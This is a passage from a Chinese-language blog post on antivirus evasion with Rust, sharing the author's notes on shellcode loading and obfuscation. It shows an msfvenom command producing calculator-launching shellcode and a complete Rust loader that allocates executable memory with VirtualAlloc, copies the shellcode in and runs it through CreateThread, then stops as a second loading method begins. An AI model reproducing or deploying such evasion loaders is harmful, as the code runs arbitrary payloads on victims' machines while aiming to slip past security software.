Rust免杀 w Shellcode加载与混淆32

前言

这是半年前我学习Rust和免杀时的一些记录,最近打开知识库看到了这篇半年前的笔记,并且发现我常逛的安全社区都比较少有人分享Rust以及Rust免杀的帖子,于是想着将这篇笔记分享出来供大家参考和指正。由于我写这篇文章时也刚刚开始接触Rust,所以文中所涉及的知识和代码都有可能出现错误,所以再次说明这篇文章仅供参考并希望大家指正。

Shellcode加载方式

本文的主要目的是分享Rust对shellcode的加密混淆方式,所以对于shellcode加载只介绍两种基本的方式,可能在后续的文章中会对加载方式进行更多分享。

调用WinAPI

跟其他语言的shellcode加载器一样,要实现更多的shellcode加载方式,需要调用WinAPI。
执行shellcode的一般流程:

  1. 创建或获取一段可读写执行的内存空间
  2. 将shellcode移入这块内存空间
  3. 利用各种方式将程序执行的流程指向这块内存空间
    Rust调用WinAPI需要先引入依赖,Cargo是Rust的一个包管理工具,要引入winapi依赖需要在Cargo.toml添加:

winapi = {version=“0.3.9”,features=[“winuser”,“processthreadsapi”,“memoryapi”,“errhandlingapi”,“synchapi”]}
这里以加载msf生成的弹计算器的shellcode为例,先使用msfvenom生成一段raw格式的shellcode,保存到calc.bin文件中,并复制到Rust的项目目录下。

msfvenom -p windows/x64/exec cmd=calc.exe -f raw -o calc.bin
在Rust中,可以使用include_bytes!宏将静态文件在编译时包含进程序中。
下面通过调用VirtualAlloc申请一段内存,并设置为PAGE_EXECUTE_READWRITE权限,具体参数建议查阅微软WinAPI文档。然后通过std::ptr::copy将shellcode移动到内存中,接着通过CreateThread创建线程,WaitForSingleObject等待线程结束。
参考:VirtualAlloc function, CreateThread function, WaitForSingleObject function

use std::mem::transmute;
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::memoryapi::VirtualAlloc;
use winapi::um::processthreadsapi::CreateThread;
use winapi::um::synchapi::WaitForSingleObject;

fn main() {
let buffer = include_bytes!(“…\calc.bin”);

unsafe {
    let ptr = VirtualAlloc(std::ptr::null_mut(), buffer.len(), 0x00001000, 0x40);

    if GetLastError() == 0 {
        std::ptr::copy(buffer.as_ptr() as *const u8, ptr as *mut u8, buffer.len());

        let mut threadid = 0;
        let threadhandle = CreateThread(
            std::ptr::null_mut(),
            0,
            Some(transmute(ptr)),
            std::ptr::null_mut(),
            0,
            &mut threadid,
        );

        WaitForSingleObject(threadhandle, 0xFFFFFFFF);
    } else {
        println!("执行失败:{}", GetLastError());
    }
}

}

函数指针

link_section是Rust的一个attribute,它用来将特定的函数或者变量放到程序的指定的区块中,.text区块通常用来存储程序的执行代码,

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